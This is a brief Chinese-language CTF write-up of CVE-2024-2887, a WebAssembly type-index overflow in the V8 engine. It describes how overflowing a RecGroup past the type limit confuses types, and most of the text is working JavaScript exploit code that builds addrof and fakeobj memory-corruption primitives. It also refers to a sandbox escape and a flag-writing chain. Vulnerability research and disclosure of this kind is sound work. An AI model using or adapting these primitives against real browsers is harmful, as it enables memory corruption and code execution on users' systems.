这是关于 CVE-2024-2887 的简短撰写说明,我利用此漏洞获得了 V8CTF M123 的奖励。
当定义的类型数超过 kV8MaxWasmTypes(可通过在 RecGroup 中填充更多类型来实现)时,类型索引可能超过 20 位并发生溢出。这样,两个具有相同 heap_type 的类型可能被视为相同。
我们可以通过创建一个包含 ref 对象的数组并使用 float64 数组读取来获得 addrof 原语,以及通过创建 float64 数组并将其作为对象读取来获得 fakeobj 原语。
wasm 模块的构建器如下所示:
const builder = new WasmModuleBuilder();
let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
builder.addType(makeSig([], []));
builder.startRecGroup();
for (var i = 0; i < o_cnt + 1; i++)
builder.addType(makeSig([], []));
builder.endRecGroup();
for (var i = 0; i < o_cnt - 1; i++)
builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);
overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);
builder.addFunction("addrof", typeId).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(2),
kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, arr,
kExprRefFunc, importId,
kExprCallRef, typeId1,
]);
builder.addFunction("fakeobj", typeId1).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(1),
kGCPrefix, kExprArrayNew, arr,
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
kExprRefFunc, importId2,
kExprCallRef, typeId,
]);
关于沙盒绕过,请参见 V8-Sandbox-Escape-via-Regexp。最终利用通过正常的 orw 链将标志写入 stderr。